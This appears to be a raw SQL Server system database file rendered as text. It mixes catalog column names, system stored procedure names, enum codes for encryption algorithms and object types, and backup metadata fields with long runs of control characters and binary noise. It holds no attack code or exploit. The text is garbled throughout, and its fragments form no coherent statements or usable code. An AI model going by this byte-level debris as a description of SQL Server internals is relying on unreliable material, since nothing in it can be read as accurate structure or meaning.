G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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TTTT T!T"T#T$T%T&T'T(T)T*T+T,T-T.T/T0T1T2T3T4T5T6T7T8T9T:T;T<T=T>T?T@TATBTCTDTETFTGTHTITJTKTLTMTNTOTPTQTRTSTTTUTVTWTXTYTZT[T\T]T^T_T`TaTbTcTdTeTfTgThTiTjTkTlTmTnToTpTqTrTsTtTuTvTwTxTyTzT{T|T}T~TTTTTTTTTTTTTTTTTTTTTT!!!!!!!!!!!!!!n\J8&r`N<*vdR@.
zhVD2 ~lZH6$p^L:(tbP>,xfTB0|jXF4"n\J8&r`N<*vdR@.
zhVD2 ~lZH6$p^L:(






t
b
P
>
,


xfTB0|jXF4"







n
\
J
8
&


							r	`	N	<	*			vdR@.
zhVD2 ~lZH6$p^L:(xfTB0|jXF4"n\J8&P>,brt`
ZKjC(/^i8!!!!`-j/)kL,N0-q xx?event0-q @@=data0-q 88
Kpdw_node_id0-CGRANTOR0-CGRANTEE0-OTABLE_CATALOG0-MTABLE_SCHEMA0-ITABLE_NAME0-

QPRIVILEGE_TYPE0-MIS_GRANTABLE0-:Udestination_type0-:Ydestination_length0-:_destination_precision0-:88
Wdestination_scale0-:hh]destination_nullable0-:88
edestination_createparams0-:hhEdataloss0-:hhIis_default0-:M@source_dbms0-:
S@source_version0-:M@source_type0-:Q@source_length0-:88
W@source_precision0-:88
O@source_scale0-:hhU@source_nullable0-:W@destination_dbms0-:	
]@destination_version0-:
hhQ@defaults_only0-:88
K@mapping_id0-Ws%I@publisher0-Ws%U@distribution_db0-Ws%88
Q@security_mode0-Ws%A@login0-Ws%G@password0-Ws%Y@working_directory0-Ws%
E@trusted0-Ws%hh[@encrypted_password0-Ws%	hhU@thirdparty_flag0-Ws%
S@publisher_type0-(+88
G@maxtrans0-#88
G@agent_id0-#88
K@thread_num0-#O@counter_desc0-#88
Q@counter_value0-$$E@genguid0-S@subscribernick0-88
M@compatlevel0-
QI@publisher0-
QS@publisher_type0-_I@publisher0-_O@publisher_db0-_M@publication0-_88
i@distributor_security_mode0-_Y@distributor_login0-__@distributor_password0-_88
Y@subscription_type0-<M@publication0-<I@publisher0-<O@publisher_db0-<hhG@reserved0-I88
A@artid0-IE@article0-II@publisher0-IO@publisher_db0-IM@publication0-IK@dest_table0-IA@owner0-II@cft_table0-I	 E@columns0-:Udestination_type0-:Ydestination_length0-:_destination_precision0-:88
Wdestination_scale0-:hh]destination_nullable0-:88
edestination_createparams0-:hhEdataloss0-:hhIis_default0-:M@source_dbms0-:
S@source_version0-:M@source_type0-:Q@source_length0-:88
W@source_precision0-:88
O@source_scale0-:hhU@source_nullable0-:W@destination_dbms0-:	
]@destination_version0-:
hhQ@defaults_only0-:88
K@mapping_id-	0-	K@servername0-DW0C@dbname0-DW0
A@value0-Ws%I@publisher0-Ws%U@distribution_db0-Ws%88
Q@security_mode0-Ws%A@login0-Ws%G@password0-Ws%Y@working_directory0-Ws%
E@trusted0-Ws%hh[@encrypted_password0-Ws%	hhU@thirdparty_flag.

G
2=

\

	m	`Ij'"	ty"1V=0
^

C

Z)l2!t_	^kopq658L@ H@(@! B@!!!!`U6VAdm
E6Z8
6Z8	
6[8
6[8
6[0		
6[8


6[
6[8
6[8
6]8
6]8
6]8		
6_
6_8
6`
6`8
6a
6a8
6a0
6a8
6U
68
6"
6"8
6"0
6"8
6.t
6.
6.8
62
628
628
6C8
6C
6C8
6E
6E8
6_ 
6_8
6`0
6`8
6`
6`8
6"8
6"0
6"8
6. 
6.8
60
6$
6$
6%"
60-
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
60
60
6
6$
6$
6b
6b
6b0
6b8
6b0
6b8
6
68
6V8
6V$
6V8
6V8
6$
68
68
6*U
6*8
 msgtype6D enqtime6Ddlgerr6Dmsgid6D&hdrpartlen6D$hdrseclen6Dmsgenc6D&msgbodylen6D msgbody6Hhandle6Hdiagid6H$initiator6Idiagid6I$initiator6Ihandle6I"lifetime6I	"contract6I$convgroup6I
$enddlgseq6I(firstoorder6I&lastoorder6I*lastoorderfr6I"dlgtimer6I$dlgopened6I&farprincid6I"inseskey6I&inseskeyid6Ifarsvc6I(farbrkrinst6^class6^id6^crypto6.id6.issuer6."encrtype6.cert6_id6_$bitlength6_$algorithm6_"modified6_"encrtype6`id6`hash6` created6`"modified6Xv<conversation_group_id6Xv8conversation_handle6Xv@message_sequence_number6Xv&message_id6Xv0message_type_id6Xv
,fragment_size6Xv0fragment_bitmap6Xv8binary_message_body6x<conversation_group_id6x8conversation_handle6x@message_sequence_number6x&message_id6x0message_type_id6x
,fragment_size6x0fragment_bitmap6x8binary_message_body6<8z<conversation_group_id6<8z8conversation_handle6<8z@message_sequence_number6<8z&message_id6<8z0message_type_id6<8z
,fragment_size6<8z0fragment_bitmap6<8z8binary_message_body,fragt\z0
N~h,dB8	
T@Z4j
8
v	$	>
>Z	n*dDX

J	>>T(
D	("TXV~`8bj*J\&|\:	t|

\>
$8V<\
llllll

X

		p	6	FNf,~Dh.
\"^$v<t:Rj0H``n0qS=0lMicrosoft.SqlServer.Types.SqlHierarchyId0fMicrosoft.SqlServer.Types.SqlGeometry0hMicrosoft.SqlServer.Types.SqlGeography)),,.*.)1122336677:<<<<@@AACD DEGH"I$JJKKNZ
[
\]^'^&_0_/`4a"")),,.+223366:@@CEJJKKNZ[]_1`5a"".,22CE_2`6"".-798:;=<>?A@B!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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-88
Astatus0-==Ccreated0-	==Emodified0-00?class0-88
9id0-88
?subid0-88
Cgrantee0-88
Cgrantor0-=type0-?state0-"88
9id0-"=name0-"88
=nsid0-"00Cnsclass0-"88
Astatus0-"=type0-"88
;pid0-"00Apclass0-"	88
Cintprop0-"
==Ccreated0-"==Emodified0-)88
9id0-)44Anumber0-)88
?colid0-)=name0-)00?xtype0-)88
?utype0-)44Alength0-)00=prec0-)	00?scale0-)
88
Kcollationid0-)88
Astatus0-)44Emaxinrow0-)
88
?xmlns0-)88
=dflt0-)88
;chk0-)@@Aidtval0-,00?class0-,88
9id0-,=name0-,88
=nsid0-,88
Astatus0-00Ksensitivity0-00WbXVTDocidUseBaseT0-
88
Gbatchsize0-Gnextdocid0-88
=fgid0-
Kdeflanguage0-"88
Cstatus20-88
9id0-=name0-UU;sid0-88
Astatus0-88
Cstatus20-88
Ecategory0-==Acrdate0-==Emodified0-	$$Ksvcbrkrguid0-
88
?scope0-00Gcmptlevel0-*88
9id0-*=name0-*UU;sid0-*88
Astatus0-*=type0-*==Acrdate0-*==Amodate0-*Adbname0-*	=lang0-*
Cpwdhash0-+88
9id0-+=name0-+Cproduct0-+Eprovider0-+88
Astatus0-+==Amodate0-+Ccatalog0-+88
;cid0-+	88
Qconnecttimeout0-+
88
Mquerytimeout=type0-600Etinyprop0-6	88
Gdataspace0-6
88
?lobds0-6Arowset0-788
Cidmajor0-788
Cidminor0-788
?subid0-788
Astatus0-788
Cintprop0-700Gtinyprop10-700Gtinyprop20-<00Evalclass0-<88
?objid0-<88
Esubobjid0-<88
Avalnum0-<bbPP?value0-<@Eimageval0-@00?class0-@88
9id0-@4=name0-@88
Astatus0-00KsensitivityLZK
AK
K
Y

b

RV

`
E
		T		Xf)d+Cz9d#`#v/bZ`:-5$)	q0n0-@=type0-@88
Cintprop0-@==Ccreated0-@==Emodified0-A00?class0-A88
?objid0-A88
Cindexid0-A88
Growsetnum0-AErowsetid0-C88
9id0-C=name0-C88
=scid0-CAremsvc0-C88
Astatus0-D$$?dlgid0-DhhIfinitiator0-D?tosvc0-DItobrkrinst0-DCfromsvc0-DMfrombrkrinst0-DEsvccontr0-DGmsgseqnum0-D	Cmsgtype0-D
88
Eunackmfn0-D88
Astatus0-D==Cenqtime0-D
==Ersndtime0-D88
Adlgerr0-D$$?msgid0-D44Ihdrpartlen0-D44Ghdrseclen0-D00Amsgenc0-D88
Imsgbodylen0-D@Cmsgbody0-A88
Astatus0-DAmsgref

Kreadonlylsn0-L

Mreadwritelsn0-L

Sreadonlybaselsn0-L

Qfirstupdatelsn0-L

Olastupdatelsn0-L

Gbackuplsn0-L

Kdiffbaselsn0-L$$Mdiffbaseguid0-L==Mdiffbasetime0-L

Qdiffbaseseclsn0-L

Mredostartlsn0-L

Oredotargetlsn0-L$$Eforkguid0-L

Cforklsn0-LAforkvc0-L$$Wredostartforkguid0-a00?class0-a88
Cidmajor0-a88
?subid0-a=name0-a88
Astatus0-a88
Cintprop0-N00?class0-N88
9id0-N88
?subid0-N$$=guid0-N88
Astatus0-Z88
;qid0-Z88
=hash0-Z88
;nid0-Z@@=name0-[88
9id0-[88
?xsdid0-[88
Auriord0-[00=qual0-[88
Anameid0-[Esymspace0-[88
Cnmscope0-[=kind0-[	?deriv0-[
88
Astatus0-[=enum0-[@@Adefval0-\88
Acompid0-\88
;ord0-\=kind0-\44Astatus0-\@@=dflt0-]88
Gplacingid0-]88
Cordinal0-]88
Eplacedid0-]88
Astatus0-]88
Eminoccur0-]88
Emaxoccur0-]@@Adefval0-C88
9id0-C4=name0-C88
=scid0-CAremsvc0-C88
Astatus0-G$$9id0-G88
Iservice_id0-G88
Astatus0-G88
Erefcount0-E88
9id0-E4=name0-EAremsvc0-EEbrkrinst0-E=addr0-ECmiraddr0-E==Elifetime0-D$$?dlgid0-DhhIfinitiator0-D?tosvc0-DItobrkrinst0-DCfromsvc0-DMfrombrkrinst0-DEsvccontr0-DGmsgseqnum0-D	Cmsgtype0-D
88
Eunackmfn0-D88
Astatus0-D==Cenqtime0-D
==Ersndtimex3		w0g"Y=r)h+D	p)h#`
Zr.^n8!!!!`B
ps1V&^Microsoft.SqlServer.Types.SqlHierarchyId&XMicrosoft.SqlServer.Types.SqlGeometry&ZMicrosoft.SqlServer.Types.SqlGeographyname6@name6" nsclass6"nsid6,nsid6
&nullbitint6
(nullbitleaf6number6number6)number6 numpart6<objid6Aobjid6offset6
$offsetint6

&offsetleaf6
ordkey6.OrigFillFactor6 ownerid6$ownertype6	&parent_obj6"password6
pcdata6"pclass6&pcreserved6	pcused6 pgfirst6&pgfirstiam6"pgmodctr6pgroot6"pid6
prec6)prec62prec63prec6&rcmodified6rcrows6"replinfo6
"reserved6"reserved6$reserved26$reserved36$reserved46root6rowcnt6
$rowmodctr66rowset6(rowsetcolid6"rowsetid6"rowsetid6A"rowsetid6A$rowsetnum6
scale6)	scale62scale63	scale62schid6sid6"statblob6state6status6status6status6status6status6status6status6
status6status6status6status6"status6)status6,status62	status63status66status67status6@status6(StatVersion6subid61subid63subid67subid6<"subobjid66"tinyprop67$tinyprop167$tinyprop26type6type6type6"type66type6@type6"typestat6uid6used6)utype63utype6<"valclass6<valnum61value6<value6 xmaxlen6)
xmlns6
 xoffset6xprec6xscale6xtype6xtype6
xtype6)xtype62xtype63xtype6$xusertype6Jstatus6Kstatus6Lstatus6Lsize6L	pname6L(readonlylsn6L*readwritelsn6L0readonlybaselsn6L*redostartlsn6L,redotargetlsn6L4redostartforkguid6:nsid6:name6:status6:type6asubid6aname6astatus6Nsubid6Nstatus6Zqid6Znid6Zname6[xsdid6[uriord6[qual6[nameid6["symspace6[ nmscope6[
status6\ord6\status6]$placingid6] ordinal6]"placedid6]status6Cname6Cscid6Cremsvc6Cstatus6G&service_id6Gstatus6G"refcount6Ename6Eremsvc6Dtosvc6D&tobrkrinst6D"svccontr6D
"unackmfn6Dstatus6D
"rsndtime6H sendseq6H"sendxact6Ircvseq6I rcvfrag6Istatus6Istate6I
svcid6Isysseq6I princid6I$outseskey6I(outseskeyid6^&thumbprint6^type6^status6.name6.snum6.&thumbprint6.pkey6.	status6_name6_&thumbprint6_pkey6_	pukey6`name6`$scopetype6` scopeid6`status6Xvstatus6Xv"priority6Xv,queuing_order6Xv	&service_id6Xv
8service_contract_id6Xv&validation6Xv,next_fragment6xstatus6x"priority6x,queuing_order6x	&service_id6x
8service_contract_id6x&validation6x,next_fragment6<8zstatus6<8z"priority6<8z,queuing_order6<8z	&service_id6<8z
8service_contract_id6<8z&validation6<8z,next_fragment!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


~
\
@
$
2$hN4hL0>pT8trT686



z
\
>
 

				l	0		N\@$fJvVzdH,TjB$VrH0P j~dJb2hJ,
TB.
vjZ<x~dJ04`,("t L00V  Ndm_os_hosts00@P ~1Zsp_cycle_errorlog00X PDHITsp_bindsession00RZP ބϊNsp_password00
P Ġtsp_help_spatial_index_internal00ǏSP |sp_help_spatial_geometry_index_xml00h@9V `bdm_pdw_nodes_os_tasks00q U n_dm_pdw_query_stats_xe_file00V u(uXTABLE_PRIVILEGES00
QPCffvsp_MSscriptcustomdelproc_sqlclr00yyP //sp_MSregister_all_trans_pull_subscriptions00_P rsp_MSfixupdistributorsecurity00<P psp_dropmergepullsubscription00IP 
`sp_addqueued_artinfo00P \nsp_MSmakegenerationidentity00_*P ffnsp_MSsku_allows_replication00vX uu^xp_firstonly_bitmap00LX vI{Vsp_replcounters00kX xI{`sp_replsetsyncstatus00:TFHHrfn_MSrepl_getdatatypemappings00	FNfn_getpersistedservernamecasevariation00DW0P ʛ.Psp_publishdb00Ws%P !lsp_MSrepl_adddistpublisher00\1P yyjsp_ORAenumtablecolumninfo00(+P hmVsp_replshowcmds00$P sspsp_MSrepl_addlogreader_agent00>P lsp_MSmakepeerconflicttable00X /\sp_replsendtoqueue00:P Opsp_MSdrop_distribution_agent00UP tnsp_MSupdate_subscriber_info00ƒP \sp_MSenum_snapshot00PP %Ztsp_MSget_subscription_dts_info00#P -lsp_MSwritemergeperfcounter00O_P ;hsp_replmonitorrefreshjob000]P JZnsp_MSstopdistribution_agent00ƺvP =QCbsp_redirect_publisher00eȲP fsp_MShelpvalidationdate00BP Jl]lrsp_MSenumpartialchangesdirect00P ӧܧlsp_MSalreadyhavegeneration00ҲP xsp_MSallocate_new_identity_rangefn_getpersistedservernamecasevariation00DW0P ʛ.Psp_publishdb00Ws%P lsp_MSrepl_adddistpublisher003P `psp_MSrepl_agentstatussummary00\1P yyjsp_ORAenumtablecolumninfo00RFNm\fn_sqlvarbasetostr00@P +2+2`sp_MSmaketrancftproc00(+P hmVsp_replshowcmds00P dsp_MSexecwithlsnoutput00$P sspsp_MSrepl_addlogreader_agent00lP hsp_changelogreader_agent00>P lsp_MSmakepeerconflicttable00v$fP sp_MSpeerconflictdetection_topology_sendrequest00X /\sp_replsendtoqueue00NP 		psp_MSismergejobnamegenerated00:P Zpsp_MSdrop_distribution_agent00UP Xnsp_MSupdate_subscriber_info00ƒP Y\sp_MSenum_snapshot00OP RYrsp_MSenum_merge_subscriptions00σP Ytsp_MShelp_distribution_agentid00PP %Ztsp_MSget_subscription_dts_info00fP *Zsp_MSdynamicsnapshotjobexistsatdistributor00#P -Zlsp_MSwritemergeperfcounter00O_P ;SZhsp_replmonitorrefreshjob000]P JZnsp_MSstopdistribution_agent00ƺvP =QZbsp_redirect_publisher00jvP &_&_hsp_MSgetlogshipagentpath00ܻFNXfn_cdc_job_entry00*P A`sp_cdc_disable_table000sP $2nsp_is_makegeneration_needed00eȲP fsp_MShelpvalidationdate00#ZP ((sp_MScomputemergearticlescreationorder00lP )+8+vsp_MSaddmergedynamicsnapshotjob00'P GGtsp_MSgetdynamicsnapshotapplock00ݘuP Qeyehsp_MSchecksnapshotstatusrsrn
B:`|hnd>
	`dTL
L
`6hDh
~68X
"\@	
t<	jN

Z"uhA
$?&^tMNPY8 @@!!!!` Wrv<Kq0AASTDDENY0AASTGGRANT03AULTALAPPLICATION LOG0AULTFLFILE0-AULTSLSECURITY LOG0!CESTCDCLOSED0)CESTCOCONVERSING0=CESTDIDISCONNECTED_INBOUND0?CESTDODISCONNECTED_OUTBOUND0CESTERERROR03CESTSISTARTED_INBOUND05CESTSOSTARTED_OUTBOUND0[CETYCPENCRYPTED_BY_CRYPTOGRAPHIC_PROVIDER0CCETYMKENCRYPTED_BY_MASTER_KEY01CETYNANO_PRIVATE_KEY0?CETYPWENCRYPTED_BY_PASSWORD0SCETYSKENCRYPTED_BY_SERVICE_MASTER_KEY0]CRTYCPVACOUNTER SIGNATURE BY ASYMMETRIC KEY0WCRTYCPVCCOUNTER SIGNATURE BY CERTIFICATE0OCRTYEPUAENCRYPTION BY ASYMMETRIC KEY0ICRTYEPUCENCRYPTION BY CERTIFICATE0GCRTYESKMENCRYPTION BY MASTER KEY0CCRTYESKPENCRYPTION BY PASSWORD0MCRTYESKSENCRYPTION BY SYMMETRIC KEY0ACRTYINCPINDEPENDENT COMPONENT0MCRTYSPVASIGNATURE BY ASYMMETRIC KEY0GCRTYSPVCSIGNATURE BY CERTIFICATE0DBAT0NONE0$DBAT1INSTANCE0$DBAT2DATABASE0"DBAT3WINDOWS0GDSTYFDFILESTREAM_DATA_FILEGROUP01DSTYFGROWS_FILEGROUP0EDSTYFLFILESTREAM_LOG_FILEGROUP05DSTYPSPARTITION_SCHEME0!ECALA1AES1280!ECALA2AES1920!ECALA3AES2560ECALDDES0)ECALD3TRIPLE_DES03ECALDTTRIPLE_DES_3KEY0ECALDXDESX0ECALR2RC20ECALR4RC40#ECALRXRC4_1280#ENAL1RRSA_5120%ENAL2RRSA_10240%ENAL3RRSA_20480#ENALA1AES_1280#ENALA2AES_1920#ENALA3AES_2560ENALD DES0)ENALD3TRIPLE_DES03ENALDTTRIPLE_DES_3KEY0ENALDXDESX0ENALR2RC20ENALR4RC40#ENALRXRC4_1280(FTCTFFULL_CRAWL06FTCTIINCREMENTAL_CRAWL06FTCTPPAUSED_FULL_CRAWL0,FTCTUUPDATE_CRAWL05HPRTBADBBackup Database0;HPRTBALOBackup Transaction05HPRTCRDBCreate Database03HPRTCRDFCreate Default05HPRTCRFNCreate Function07HPRTCRPRCreate Procedure0-HPRTCRRUCreate Rule0/HPRTCRTBCreate Table0-HPRTCRVWCreate View0#HPRTDL  Delete0%HPRTEX  Execute0#HPRTIN  Insert0+HPRTRF  References0#HPRTSL  Select0#HPRTUP  Update0DLGTYCCERTIFICATE_MAPPED_LOGIN0.LGTYGWINDOWS_GROUP0JLGTYKASYMMETRIC_KEY_MAPPED_LOGIN02LGTYMCOMPONENT_LOGIN0*LGTYRSERVER_ROLE0&LGTYSSQL_LOGIN0.LGTYUWINDOWS_LOGIN09OBTYAFAGGREGATE_FUNCTION04OBTYCCHECK_CONSTRAINT08OBTYDDEFAULT_CONSTRAINT09OBTYENEVENT_NOTIFICATION0@OBTYFFOREIGN_KEY_CONSTRAINT0;OBTYFNSQL_SCALAR_FUNCTION0;OBTYFSCLR_SCALAR_FUNCTION0GOBTYFTCLR_TABLE_VALUED_FUNCTION0UOBTYIFSQL_INLINE_TABLE_VALUED_FUNCTION0IOBTYISSQL_INLINE_SCALAR_FUNCTION01OBTYITINTERNAL_TABLE0<OBTYPSQL_STORED_PROCEDURE0=OBTYPCCLR_STORED_PROCEDURE0AOBTYPKPRIMARY_KEY_CONSTRAINT0OBTYRRULE0MOBTYRFREPLICATION_FILTER_PROCEDURE0,OBTYSSYSTEM_TABLE0#OBTYSNSYNONYM03OBTYSOSEQUENCE_OBJECT0/OBTYSQSERVICE_QUEUE0+OBTYTACLR_TRIGGER0GOBTYTFSQL_TABLE_VALUED_FUNCTION0+OBTYTGTABLE_GROUP0+OBTYTRSQL_TRIGGER0)OBTYTTTYPE_TABLE0(OBTYUUSER_TABLE07OBTYUQUNIQUE_CONSTRAINT0OBTYVVIEW0FOBTYXEXTENDED_STORED_PROCEDURE0PFTYRRANGE0PRSTDDENY0PRSTGGRANT0 PRSTRREVOKE0BPRSTWGRANT_WITH_GRANT_OPTION04USTYAAPPLICATION_ROLE0BUSTYCCERTIFICATE_MAPPED_USER0.USTYGWINDOWS_GROUP0HUSTYKASYMMETRIC_KEY_MAPPED_USER0.USTYRDATABASE_ROLE0$USTYSSQL_USER0,USTYUWINDOWS_USER0FXEERMALLOW_MULTIPLE_EVENT_LOSS0.XEERNNO_EVENT_LOSS0BXEERSALLOW_SINGLE_EVENT_LOSS0"XEMPCPER_CPU0XEMPGNONE0$XEMPNPER_NODE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dH&pD |:jLb7k8?Lu:Ul"j?


x
K

w<oG$	


u
Z
7

				a	F	+		wV5C!v)Xy"r3d/a8|`
ZWw<.ժ^v8!!!!` -XRTxb	q0SMVAEEMPTY0 SMVANBINARY0SMVAXXML0XCDRNNONE0*XCDRRRESTRICTION0,XCDRSSUBSTITUTION0&XCDRXEXTENSION0&XCKIAATTRIBUTE0:XCKICCOMPLEX_SIMPLE_TYPE0"XCKIEELEMENT02XCKIGATTRIBUTE_GROUP0,XCKIKCOMPLEX_TYPE0&XCKILLIST_TYPE0*XCKIMMODEL_GROUP0$XCKINANY_TYPE00XCKIPPRIMITIVE_TYPE0*XCKISSIMPLE_TYPE0(XCKIUUNION_TYPE08XCKIVATTRIBUTE_WILDCARD04XCKIWELEMENT_WILDCARD02XCKIZANY_SIMPLE_TYPE0&XCSSAATTRIBUTE0"XCSSEELEMENT02XCSSGATTRIBUTE_GROUP0*XCSSMMODEL_GROUP0XCSSNNONE0XCSSTTYPE03XFKIDFFRACTION_DIGITS0-XFKIDTTOTAL_DIGITS0CXFKIENMINIMUM_EXCLUSIVE_VALUE0+XFKIEUENUMERATION0CXFKIEXMAXIMUM_EXCLUSIVE_VALUE0CXFKIINMINIMUM_INCLUSIVE_VALUE0CXFKIIXMAXIMUM_INCLUSIVE_VALUE0!XFKILGLENGTH01XFKILNMINIMUM_LENGTH01XFKILXMAXIMUM_LENGTH0#XFKIPTPATTERN0EXFKIWSWHITESPACE_NORMALIZATION0.XGCOAXSD_ALL_GROUP04XGCOCXSD_CHOICE_GROUP08XGCOSXSD_SEQUENCE_GROUP00XWPCLLAX_VALIDATION02XWPCPSKIP_VALIDATION06XWPCSSTRICT_VALIDATIONrag&sysphfg&$sysprufiles& sysrscols&b*syssoftobjrefs&u\{Lfilestream_tombstone_2073058421&|&syscommittab&(syspriorities&;"sysaudacts&R.syscompfragments&U"sysftstops&"sysdbfiles&V,sysftproperties&W$sysxmitbody& sysclones&x}Ffiletable_updates_2105058535&>.syscscolsegments&?0syscsdictionaries&P(syschildinsts&sysdbreg&8 sysendpts&0"syslnklgns&/"sysrmtlgns&-$sysusermsgs&9(syswebmethods&*sysxlgns&+sysxsrvs& sysdbfrag&syspru&(sysbrickfiles&T.sysftsemanticsdb&Ysysfos&O$sysfoqueues&	*sysseobjvalues!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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'Z
@6J
6|4?Oxc,'q /'k='D':0'q @9event0'q @7data0'q @Epdw_node_id0'k@Epdw_node_id0'k@Cprocess_id0'k@Etarget_name0'k@Cqueue_size0'k@Qlost_events_count0'@CBackupName0'@QBackupDescription0'@CBackupType0'@KExpirationDate0'@CCompressed0'@?Position0'@CDeviceType0'	@?UserName0'
@CServerName0'@GDatabaseName0'@MDatabaseVersion0'
@WDatabaseCreationDate0'@CBackupSize0'@?FirstLSN0'@=LastLSN0'@ICheckpointLSN0'@QDatabaseBackupLSN0'@MBackupStartDate0'@OBackupFinishDate0'@ASortOrder0'@?CodePage0'@MUnicodeLocaleId0'@[UnicodeComparisonStyle0'@SCompatibilityLevel0'@OSoftwareVendorId0'@WSoftwareVersionMajor0'@WSoftwareVersionMinor0'@WSoftwareVersionBuild0'@EMachineName0'@9Flags0' @ABindingID0'!@KRecoveryForkID0'"@ACollation0'#@CFamilyGUID0'$@QHasBulkLoggedData0'%@CIsSnapshot0'&@CIsReadOnly0''@GIsSingleUser0'(@SHasBackupChecksums0')@AIsDamaged0'*@KBeginsLogChain0'+@YHasIncompleteMetaData0',@KIsForceOffline0'-@CIsCopyOnly0'.@UFirstRecoveryForkID0'/@GForkPointLSN0'0@IRecoveryModel0'1@UDifferentialBaseLSN0'2@WDifferentialBaseGUID0'3@YBackupTypeDescription0'4@IBackupSetGUID0'5@WCompressedBackupSizeCBackupType0'@KExpirationDate0'@CCompressed0'@?Position0'@CDeviceType0'	@?UserName0'
@CServerName0'@GDatabaseName0'@MDatabaseVersion0'
@WDatabaseCreationDate0'@CBackupSize0'@?FirstLSN0'@=LastLSN0'@ICheckpointLSN0'@QDatabaseBackupLSN0'@MBackupStartDate0'@OBackupFinishDate0'@ASortOrder0'@?CodePage0'@MUnicodeLocaleId0'@[UnicodeComparisonStyle0'@SCompatibilityLevel0'@OSoftwareVendorId0'@WSoftwareVersionMajor0'@WSoftwareVersionMinor0'@WSoftwareVersionBuild0'@EMachineName0'@9Flags0' @ABindingID0'!@KRecoveryForkID0'"@ACollation0'#@CFamilyGUID0'$@QHasBulkLoggedData0'%@CIsSnapshot0'&@CIsReadOnly0''@GIsSingleUser0'(@SHasBackupChecksums0')@AIsDamaged0'*@KBeginsLogChain0'+@YHasIncompleteMetaData0',@KIsForceOffline0'-@CIsCopyOnly0'.@UFirstRecoveryForkID0'/@GForkPointLSN0'0@IRecoveryModel0'1@UDifferentialBaseLSN		-	P
	I+\)1R
>
=Hiz9

\

D:

5
		8	k~5vH	De"I|E`
Z6};
e/(0^|BCZ
]
`
f
